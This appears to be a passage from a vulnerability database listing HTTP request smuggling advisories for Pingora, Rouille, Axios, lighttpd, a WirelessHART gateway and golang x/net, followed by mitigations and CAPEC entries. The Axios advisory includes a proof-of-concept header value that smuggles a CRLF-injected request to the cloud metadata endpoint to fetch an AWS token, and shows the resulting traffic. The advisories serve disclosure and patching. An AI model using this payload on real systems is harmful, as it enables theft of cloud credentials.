URI authority, or whose authority contains \u0027@\u0027.",
"id": "GHSA-fqwv-pcm9-9m42",
"modified": "2026-10-20T03:32:43Z",
"published": "2026-10-20T03:32:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-105298"
},
{
"type": "WEB",
"url": "https://github.com/cloudflare/pingora"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-FRMW-V2HF-GVJ9
Vulnerability from github – Published: 2026-07-28 18:33 – Updated: 2026-07-28 18:33
VLAI
Details
Rouille 0.3.3 through 3.6.2 contains an HTTP request smuggling vulnerability that allows remote attackers to bypass access controls by injecting bare line feed characters (0x0A) into client-supplied request header values that are copied verbatim to upstream connections without validation. Attackers can craft a header value containing a complete additional HTTP request that is interpreted as a separate request by backends such as Go net/http and Python http.server, causing the backend to process a smuggled request with attacker-chosen method, path, and headers that bypasses the rouille handler's access control logic.
Severity
{
"affected": [],
"aliases": [
"CVE-2026-67182"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-28T17:17:07Z",
"severity": "MODERATE"
},
"details": "Rouille 0.3.3 through 3.6.2 contains an HTTP request smuggling vulnerability that allows remote attackers to bypass access controls by injecting bare line feed characters (0x0A) into client-supplied request header values that are copied verbatim to upstream connections without validation. Attackers can craft a header value containing a complete additional HTTP request that is interpreted as a separate request by backends such as Go net/http and Python http.server, causing the backend to process a smuggled request with attacker-chosen method, path, and headers that bypasses the rouille handler\u0027s access control logic.",
"id": "GHSA-frmw-v2hf-gvj9",
"modified": "2026-07-28T18:33:04Z",
"published": "2026-07-28T18:33:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67182"
},
{
"type": "WEB",
"url": "https://github.com/theopaid/HTTP-Request-Smuggling-Enables-Front-End-Access-Control-Bypass-rouille-"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/rouille-http-request-smuggling-via-proxy-header-injection"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-FVCV-3M26-PCQX
Vulnerability from github – Published: 2026-04-10 19:47 – Updated: 2026-05-20 00:25
VLAI
Summary
Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain
Details
Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain
Summary
The Axios library is vulnerable to a specific gadget-style attack chain in which prototype pollution in a third-party dependency may be leveraged to inject unsanitized header values into outbound requests.
Axios can be used as a gadget after pollution occurs elsewhere because header values merged from attacker-controlled prototype properties are not sanitized for CRLF (\r\n) characters before being written to the request. In affected deployments, this may enable limited request manipulation or metadata access as part of a higher-complexity exploit chain.
Severity: Moderate (CVSS 3.1 Base Score: 4.8)
Affected Versions: All versions (v0.x - v1.x)
Vulnerable Component: lib/adapters/http.js (Header Processing)
Usage of \"Helper\" Vulnerabilities
This issue requires a separate prototype pollution vulnerability in another library in the application stack (for example, qs, minimist, ini, or body-parser). If an attacker can pollute Object.prototype, Axios may pick up the polluted properties during config merge.
Because Axios does not sanitise these merged header values for CRLF (\r\n) characters, the polluted property can alter the structure of an outbound HTTP request.
Proof of Concept
1. The Setup (Simulated Pollution)
Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:
Object.prototype['x-amz-target'] = \"dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore\";
2. The Gadget Trigger (Safe Code)
The application makes a completely safe, hardcoded request:
// This looks safe to the developer
await axios.get('https://analytics.internal/pings');
3. The Execution
Axios merges the prototype property x-amz-target into the request headers. It then writes the header value directly to the socket without validation.
Resulting HTTP traffic:
GET /pings HTTP/1.1
Host: analytics.internal
x-amz-target: dummy
PUT /latest/api/token HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token-ttl-seconds: 21600
GET /ignore HTTP/1.1
...
4. The Impact
In environments where requests can reach cloud metadata endpoints or sensitive internal services, the injected header content may help bypass expected request constraints and expose limited credentials or modify request semantics. This impact depends on application context and a separate prototype-pollution primitive.
Impact Analysis
- Confidentiality: May expose limited sensitive information in affected network environments.
- Integrity: May allow modification of outbound request structure or injected headers.
- Attack Complexity: Exploitation requires a separate prototype-pollution vulnerability and a reachable target service.
Recommended Fix
Validate all header values in lib/adapters/http.js and xhr.js before passing them to the underlying request function.
Patch Suggestion:
// In lib/adapters/http.js
utils.forEach(requestHeaders, function setRequestHeader(val, key) {
if (/[\r\n]/.test(val)) {
throw new Error('Security: Header value contains invalid characters');
}
// ... proceed to set header
});
References
- OWASP: CRLF Injection (CWE-113)
This report was generated as part of a security audit of the Axios library.
Severity
4.8 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.15.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.31.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40175"
],
"database_specific": {
"cwe_ids": [
"CWE-113",
"CWE-444",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-10T19:47:16Z",
"nvd_published_at": "2026-04-10T20:16:22Z",
"severity": "MODERATE"
},
"details": "# Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain\n\n## Summary\nThe Axios library is vulnerable to a specific gadget-style attack chain in which **prototype pollution** in a third-party dependency may be leveraged to inject unsanitized header values into outbound requests.\n\nAxios can be used as a gadget after pollution occurs elsewhere because header values merged from attacker-controlled prototype properties are not sanitized for CRLF (`\\r\\n`) characters before being written to the request. In affected deployments, this may enable limited request manipulation or metadata access as part of a higher-complexity exploit chain.\n\n**Severity**: Moderate (CVSS 3.1 Base Score: 4.8)\n**Affected Versions**: All versions (v0.x - v1.x)\n**Vulnerable Component**: `lib/adapters/http.js` (Header Processing)\n\n## Usage of \\\"Helper\\\" Vulnerabilities\nThis issue requires a separate **prototype pollution** vulnerability in another library in the application stack (for example, `qs`, `minimist`, `ini`, or `body-parser`). If an attacker can pollute `Object.prototype`, Axios may pick up the polluted properties during config merge.\n\nBecause Axios does not sanitise these merged header values for CRLF (`\\r\\n`) characters, the polluted property can alter the structure of an outbound HTTP request.\n\n## Proof of Concept\n\n### 1. The Setup (Simulated Pollution)\nImagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:\n```javascript\nObject.prototype[\u0027x-amz-target\u0027] = \\\"dummy\\r\\n\\r\\nPUT /latest/api/token HTTP/1.1\\r\\nHost: 169.254.169.254\\r\\nX-aws-ec2-metadata-token-ttl-seconds: 21600\\r\\n\\r\\nGET /ignore\\\";\n```\n\n### 2. The Gadget Trigger (Safe Code)\nThe application makes a completely safe, hardcoded request:\n```javascript\n// This looks safe to the developer\nawait axios.get(\u0027https://analytics.internal/pings\u0027); \n```\n\n### 3. The Execution\nAxios merges the prototype property `x-amz-target` into the request headers. It then writes the header value directly to the socket without validation.\n\n**Resulting HTTP traffic:**\n```http\nGET /pings HTTP/1.1\nHost: analytics.internal\nx-amz-target: dummy\n\nPUT /latest/api/token HTTP/1.1\nHost: 169.254.169.254\nX-aws-ec2-metadata-token-ttl-seconds: 21600\n\nGET /ignore HTTP/1.1\n...\n```\n\n### 4. The Impact\nIn environments where requests can reach cloud metadata endpoints or sensitive internal services, the injected header content may help bypass expected request constraints and expose limited credentials or modify request semantics. This impact depends on application context and a separate prototype-pollution primitive.\n\n## Impact Analysis\n- **Confidentiality**: May expose limited sensitive information in affected network environments.\n- **Integrity**: May allow modification of outbound request structure or injected headers.\n- **Attack Complexity**: Exploitation requires a separate prototype-pollution vulnerability and a reachable target service.\n\n## Recommended Fix\nValidate all header values in `lib/adapters/http.js` and `xhr.js` before passing them to the underlying request function.\n\n**Patch Suggestion:**\n```javascript\n// In lib/adapters/http.js\nutils.forEach(requestHeaders, function setRequestHeader(val, key) {\n if (/[\\r\\n]/.test(val)) {\n throw new Error(\u0027Security: Header value contains invalid characters\u0027);\n }\n // ... proceed to set header\n});\n```\n\n## References\n- **OWASP**: CRLF Injection (CWE-113)\n\nThis report was generated as part of a security audit of the Axios library.",
"id": "GHSA-fvcv-3m26-pcqx",
"modified": "2026-05-20T00:25:27Z",
"published": "2026-04-10T19:47:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-fvcv-3m26-pcqx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40175"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/10660"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/10660#issuecomment-4224168081"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/10688"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/03cdfc99e8db32a390e12128208b6778492cee9c"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/363185461b90b1b78845dc8a99a1f103d9b122a1"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-876049.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v0.31.0"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v1.15.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain"
}
GHSA-FVX8-Q97Q-CW73
Vulnerability from github – Published: 2025-11-03 21:34 – Updated: 2025-11-12 15:31
VLAI
Details
lighttpd1.4.80 incorrectly merged trailer fields into headers after http request parsing. This behavior can be exploited to conduct HTTP Header Smuggling attacks.
Successful exploitation may allow an attacker to:
- Bypass access control rules
- Inject unsafe input into backend logic that trusts request headers
- Execute HTTP Request Smuggling attacks under some conditions
This issue affects lighttpd1.4.80
Severity
9.1 (Critical)
{
"affected": [],
"aliases": [
"CVE-2025-12642"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-03T20:17:06Z",
"severity": "MODERATE"
},
"details": "lighttpd1.4.80 incorrectly merged trailer fields into headers\u00a0after http request parsing. This behavior can be exploited to conduct HTTP Header Smuggling attacks.\n\nSuccessful exploitation may allow an attacker to:\n\n * Bypass access control rules\n * Inject unsafe input into backend logic that trusts request headers\n * Execute HTTP Request Smuggling attacks under some conditions\n\n\nThis issue affects lighttpd1.4.80",
"id": "GHSA-fvx8-q97q-cw73",
"modified": "2025-11-12T15:31:28Z",
"published": "2025-11-03T21:34:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12642"
},
{
"type": "WEB",
"url": "https://github.com/lighttpd/lighttpd1.4/commit/35cb89c103877de62d6b63d0804255475d77e5e1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-FWCQ-RWGM-5RC2
Vulnerability from github – Published: 2022-05-24 19:12 – Updated: 2022-09-30 00:00
VLAI
Details
In PEPPERL+FUCHS WirelessHART-Gateway <= 3.0.8 a vulnerability may allow remote attackers to rewrite links and URLs in cached pages to arbitrary strings.
Severity
5.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2021-34559"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-08-31T11:15:00Z",
"severity": "MODERATE"
},
"details": "In PEPPERL+FUCHS WirelessHART-Gateway \u003c= 3.0.8 a vulnerability may allow remote attackers to rewrite links and URLs in cached pages to arbitrary strings.",
"id": "GHSA-fwcq-rwgm-5rc2",
"modified": "2022-09-30T00:00:41Z",
"published": "2022-05-24T19:12:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-34559"
},
{
"type": "WEB",
"url": "https://cert.vde.com/en-us/advisories/vde-2021-027"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FXG5-WQ6X-VR4W
Vulnerability from github – Published: 2023-01-14 00:30 – Updated: 2025-04-04 19:26
VLAI
Summary
golang.org/x/net/http2/h2c vulnerable to request smuggling attack
Details
A request smuggling attack is possible when using MaxBytesHandler. When using MaxBytesHandler, the body of an HTTP request is not fully consumed. When the server attempts to read HTTP2 frames from the connection, it will instead be reading the body of the HTTP request, which could be attacker-manipulated to represent arbitrary HTTP2 requests.
Specific Go Packages Affected
golang.org/x/net/http2/h2c
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "golang.org/x/net"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.0-20220524220425-1d687d428aca"
},
{
"fixed": "0.1.1-0.20221104162952-702349b0e862"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-41721"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2023-01-20T22:40:06Z",
"nvd_published_at": "2023-01-13T23:15:00Z",
"severity": "HIGH"
},
"details": "A request smuggling attack is possible when using MaxBytesHandler. When using MaxBytesHandler, the body of an HTTP request is not fully consumed. When the server attempts to read HTTP2 frames from the connection, it will instead be reading the body of the HTTP request, which could be attacker-manipulated to represent arbitrary HTTP2 requests.\n\n### Specific Go Packages Affected\ngolang.org/x/net/http2/h2c",
"id": "GHSA-fxg5-wq6x-vr4w",
"modified": "2025-04-04T19:26:05Z",
"published": "2023-01-14T00:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41721"
},
{
"type": "PACKAGE",
"url": "https://cs.opensource.google/go/x/net"
},
{
"type": "WEB",
"url": "https://go.dev/cl/447396"
},
{
"type": "WEB",
"url": "https://go.dev/issue/56352"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/X3H3EWQXM2XL5AGBX6UL443JEJ3GQXJN"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/X5DXTLLWN6HKI5I35EUZRBISTNZJ75GP"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2023-1495"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "golang.org/x/net/http2/h2c vulnerable to request smuggling attack"
}
Mitigation
Implementation
Use a web server that employs a strict HTTP parsing procedure, such as Apache [REF-433].
Mitigation
Implementation
Use only SSL communication.
Mitigation
Implementation
Terminate the client session after each request.
Mitigation
System Configuration
Turn all pages to non-cacheable.
CAPEC-273: HTTP Response Smuggling
An adversary manipulates and injects malicious content in the form of secret unauthorized HTTP responses, into a single HTTP response from a vulnerable or compromised back-end HTTP agent (e.g., server).
See CanPrecede relationships for possible consequences.
CAPEC-33: HTTP Request Smuggling
An adversary abuses the flexibility and discrepancies in the parsing and interpretation of HTTP Request messages using various HTTP headers, request-line and body parameters as well as message sizes (denoted by the end of message signaled by a given HTTP header) by different intermediary HTTP agents (e.g., load balancer, reverse proxy, web caching proxies, application firewalls, etc.) to secretly send unauthorized and malicious HTTP requests to a back-end HTTP agent (e.g., web server).
See CanPrecede relationships for possible consequences.